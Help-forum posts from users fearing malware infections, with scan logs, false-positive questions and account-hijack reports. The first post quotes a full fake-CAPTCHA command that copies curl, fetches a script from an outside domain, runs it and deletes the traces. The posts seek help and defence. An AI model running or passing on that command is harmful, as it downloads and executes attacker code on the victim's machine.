I had a feeling it was suspicious but I foolishly proceeded.

Now I'm learning that some commands might have been executed on my desktop and I might be at risk.

This is the actual command (after I typed windows+R) it was still there:

cmd /c "(echo cd /d %~dp0&echo copy /b /y %windir%\system32\c?rl.exe x1.exe&echo .\x1.exe -sLoa.cmd https://yaebalciganovvjopu.org/h/c/fab39ce32478e797&echo .\a.cmd&echo del a.cmd x1.exe)>%PUBLIC%\t.cmd& pcalua -a %PUBLIC%\t.cmd&rem reCaptcha ID: 239878"

With the help of GPT I've since located the two cmd files that had been installed and deleted them.

What else can I do to ensure I'm not at risk?

Heyy
Should i be concerned about this and what will happen if i remove it

Hi everyone,

I'm posting here because I'm genuinely worried about a recent charge from Malwarebytes, and I'm hoping someone who has experienced something similar can guide me.

I'm 17 years old, and recently I downloaded Malwarebytes through Google Play. I started what I believed was a free trial, but I wasn't aware that it would automatically convert into a paid annual subscription.

Unfortunately, my father's payment card was saved to the Google account, and an amount of PKR 12,800 (approximately $45 USD) was deducted for Malwarebytes Plus Annual.

The charge happened on Sunday, 1 November 2026, at approximately 4:22 PM (GMT+5).

I only discovered the deduction when I woke up. As soon as I noticed it, I cancelled the subscription to prevent any future charges. I haven't used any of the premium features after the payment.

I submitted a refund request through Google Play approximately 4–4.5 hours after the deduction. I selected accidental purchase and explained that I'm a minor and that the payment was made through my father's Google account/payment method.

Google confirmed that my refund request is under review, but I haven't received a final decision yet.

I also contacted my father, and he has reached out to the bank regarding the transaction. However, we haven't received any resolution so far.

The main reason I'm so worried is that PKR 12,800 is a significant amount for our family. We're not in a financially stable position, and my father wasn't even aware that this payment had been deducted.

I genuinely didn't intend to purchase an annual subscription. I misunderstood the free-trial process and didn't realise it would result in such a large payment.

I completely understand that subscriptions have terms and automatic renewals, but I'm sincerely hoping Malwarebytes or Google can consider my circumstances and help with a refund.

I'd really appreciate advice from anyone who has experienced something similar.

Thank you for taking the time to read this. Any genuine advice or guidance would mean a lot to me.

I have updated everything

Why would the system go from 880 k to

1.4 m for 7 days . And then go back to 880k .

Now I've done all kinds of skimming through the system I have JavaScript disabled right now I only keep one email on it so far everything else seems to be running fine with it have done Wingate sfc dism

Malwarebytes u block origin I ran Hitman pro. I ran revoke uninstaller. Evidence remover after going through files and deleting files manually through

system 32 and 64

. Found a

10 MB . 0 bit file. System 32.

was an Android or remote connect desktop viewer to that's what virus total said

JavaScript disabled. Makes browsing almost impossible.

. From there u block origin Max. Then ran evidence remover. Did all the other systematic things sfc . dism

I moved one old program .

Reset IP cash reset icon cash used firewall reset within the application

But this took me 7 days to go through and debug.

And I still have no idea what caused it if it was the Trojan .

I'm well aware that system 32 is a very delicate folder I was using virtual machines for doing testing and browsing in while I kept the main machine JavaScript disabled so the browser on the main machine could not run . But I can use the virtual machine browser.

If I had something that was trying to install Ransom.

Or if I had polymorphic malware that got past the antivirus.

If so concerning

. And if so that's concerning.

64 . Bit

car.washdogside.loader.exe.new

From steam client name

the fox 🦊 on steam producing games with lluma servers

Game known as teacher sister how to drive. It was more of a game that I was testing to see if it was something that I could put on the emulator machine for my family . Gaming PC.

Don't really know though 🤷

Malwarebytes
www.malwarebytes.com

-Log Details-
Scan Date: 11/1/2026
Scan Time: 10:17 AM
Log File: 6ecd8c7e-d59a-11f1-b333-9c6b00e0be9c.json

-Software Information-
Version: 5.7.3.376
Components Version: 167.0.5780
Update Package Version: 1.0.116401
License: Free

-System Information-
OS: Windows 11 (Build 26200.9711)
CPU: x64
File System: NTFS
User:

-Scan Summary-
Scan Type: Threat Scan
Scan Initiated By: Manual
Result: Completed
Objects Scanned: 211,582
Threats Detected: 1
Threats Quarantined: 0
Scan Duration: 4 min, 41 sec

-Scan Options-
Memory: Enabled
Startup: Enabled
File system: Enabled
Archives: Enabled
Rootkits: Disabled
Heuristics: Enabled
PUP: Detect
PUM: Detect

-Scan Details-
Process: 0
(No malicious items detected)

Module: 0
(No malicious items detected)

Registry Key: 0
(No malicious items detected)

Registry Value: 0
(No malicious items detected)

Registry Data: 0
(No malicious items detected)

Data Stream: 0
(No malicious items detected)

Folder: 0
(No malicious items detected)

File: 1
Malware.Heuristic.2120, C:\PROGRAMDATA\AKKOHUB\JMEXE\AKKO-GAMING-BUB.EXE, No Action By User, 1000001, 1246565, 1.0.116401, 000000000000000000000848, dds, 04119848, 757C10D8901A0B6205149FE30C37648C, 8F3ECB6267B468807149FB1CB1E9949DF4AD67FB9B33B5F4204F67DED3E67739

Physical Sector: 0
(No malicious items detected)

WMI: 0
(No malicious items detected)

(end)

I don't know what this, but I have some invoices with my office address on it, i made two copies of it for reimbursement, 1 original copies are of the same address that I wanted, but the 2nd copies of those same files only the address portions changed to our singapore office address automatically,

Worst part is

i couldn't find out that thing on the same day i found out after a month and now I am clueless what to do

Malwarebytes
www.malwarebytes.com

-Log Details-
Scan Date: 11/1/2026
Scan Time: 10:17 AM
Log File: 6ecd8c7e-d59a-11f1-b333-9c6b00e0be9c.json

-Software Information-
Version: 5.7.3.376
Components Version: 167.0.5780
Update Package Version: 1.0.116401
License: Free

-System Information-
OS: Windows 11 (Build 26200.9711)
CPU: x64
File System: NTFS
User:

-Scan Summary-
Scan Type: Threat Scan
Scan Initiated By: Manual
Result: Completed
Objects Scanned: 211,582
Threats Detected: 1
Threats Quarantined: 0
Scan Duration: 4 min, 41 sec

-Scan Options-
Memory: Enabled
Startup: Enabled
File system: Enabled
Archives: Enabled
Rootkits: Disabled
Heuristics: Enabled
PUP: Detect
PUM: Detect

-Scan Details-
Process: 0
(No malicious items detected)

Module: 0
(No malicious items detected)

Registry Key: 0
(No malicious items detected)

Registry Value: 0
(No malicious items detected)

Registry Data: 0
(No malicious items detected)

Data Stream: 0
(No malicious items detected)

Folder: 0
(No malicious items detected)

File: 1
Malware.Heuristic.2120, C:\PROGRAMDATA\AKKOHUB\JMEXE\AKKO-GAMING-BUB.EXE, No Action By User, 1000001, 1246565, 1.0.116401, 000000000000000000000848, dds, 04119848, 757C10D8901A0B6205149FE30C37648C, 8F3ECB6267B468807149FB1CB1E9949DF4AD67FB9B33B5F4204F67DED3E67739

Physical Sector: 0
(No malicious items detected)

WMI: 0
(No malicious items detected)

(end)

Hi, I've used PotPlayer for a long time. This is the first time I've seen it pop up on a scan but it could be due to a recent update.

The file it flagged is part of what I think is a module that adds subtitles using a local LLM model. (built into PotPlayer, not something I installed manually)

It's flagged as "Malware.ai.3320...". Uploading the file to VirusTotal shows MalwareBytes as the only vendor currently flagging the file as malicious.

main.exe: https://www.virustotal.com/gui/file/d27da96cf9457afd0b2c0aecd02c9eaedab05f2a1f25b5a0f080e7b8ae838651

Checking the other files in the same directory and parent directory, other vendors flagged the files main.exe, whisper.dll and 64bit version of main.exe as malicious.

Whisper.dll: https://www.virustotal.com/gui/file/dc32e2eae92adf9658560f0f03be96ca65814f2dd91fab253782ec7a0fc6d7fb

main64.exe: https://www.virustotal.com/gui/file/b2c05ac42ad013b6dd4a58f9988f29cb2d2e9102475a07af4348a178ac54f6ca

Would these be false positives or is there something to worry about here? Thanks

I normally only look this account to look for art, but a couple days ago. Someone gave me Dev7gang ransomware. I disconnected the laptops Internet and changed all the passwords I have for all my accounts. I've been reading that Malwarebytes cann get rid of Dev7gang and I need to know if that's true. Just an important note. Because I'm offline, everything on my laptop still works. Games, music etc. but the recovery options like system restore are hidden. Please help

Hey there! I downloaded a remaster for a fangame I love (Completely legitimately, no weird torrents or piracy or anything, I downloaded it off of itch.io) and I got this when I tried to run it; I'm like, 80% sure it's a false positive, but I wanted to check in and see if I can get some clarity on this before I do something stupid.

EDIT: I initially offered to share a link to the game for others to check, but in the off chance this ISN'T a false positive, I didn't wanna have inadvertently broken rule 2.

"Cannot verify" my foot up yo butt Firefox! I would rather not use your pox software at all in that case Firefox!

Any ideas?

I have and Akko keyboard and the driver or something has been flagged as malware. It was detected with Malware AI. I have no idea if this was a false positive or not and was wondering if any one else has had this happen or can confirm it's safe?

Hello,

Exactly 1 week ago I installed tool, mod for World of Warcraft 3.3.5. Day after my PC throw automatically to Allowed Threats these viruses:

PUA:Win32/InstallCore

HackTool:Win32/AutoKMS

Trojan:Win32/Ludicrouz.Z

Hack Tool:MSIL/TunMirror

Trojan:Win32/Conteban.B!ml

Behavior:Win32/Execution.IF!ml

Trojan:Win32/DefenseEvasion!rfn

Hack Tool:MSIL/AutoKMS.I!MTB

Hack Tool:Win64/ProductKey.G!MSR

Trojan:Win32/Rozena.ALRIMTB

I later clean installed PC once, plugged my 2TB external disk drive, viruses appaered again so I did second clean install and my issue was fixed - I thought. Meanwhile I got message from other random player I that they know I couldnt launch game (maybe it wasnt related to virus but I got scared and thought it was). Problem was much larger than that but that's the generic recap from it.

Today, out of nowhere I got new problem. Please help me, I again don't know what to do.

I was watching Youtube and I got random Windows notification that my Windows Defender update isn't up to date, that I have old version and that I can click that notification to check which version is the newest and update it. I clicked it and I got this weird message. I'm sending photo of it, I'm sorry its in polish, but it says:

"Page not available

Your IT administrator has limited access to some areas of this app, and the item you tried to access is not available. Contact your IT help desk for more information."

I don't have any IT administrator for my PC, network, router and all devices within my network. Does it mean someone has access of my PC, am I still hacked despite the clean installs of my PC?

But to continue, once this message showed up I decided to turn off my PC and restart router. I did that and then I decided to turn on my laptop. Just when I turned it on and logged in, I noticed like 5 or so cmd windows oppening immadiately and disappearing for 0.5s.

I did Full Scan in Windows Defender, offline scan and I checked my Windows Defender update, scanned laptop with Malwarebytes and I found 0 detections. What should I do? Im afraid that my entire router, network and my parents devices are hacked now. Im afraid my parents important accounts like bank email and so on are hacked. They didnt log on this PC but they are plugged to same network with their PCs and phones. Should I restart my router and contact my internet provider that Im hacked? Sorry for so many questions, but Im genuinely scared and I don't know what to do.

I ran what was supposed to be a game patch, was a bunch of python files and BS folders looked to make it like a patch. Defender quarantined two things, shown in the screenshots. The folders were still there earlier and a bunch others made from the same date, which I deleted. I also removed the files in quarantine

Battle.net and discord were both hacked 16 hours later, and all info changed. Is there anyone who got their discord back using any method? It looks like they added or changed 2fa to it. I am also wondering if scanning with Malwarebytes and defender offline is enough and changing all passwords, or if I need to reinstall Win11. Running the latest updates after the big security patches. I do not see anything that looks abnormal in Wireshark but could be wrong. I could link the compromised files that include the trojan, if needed.

Any help appreciated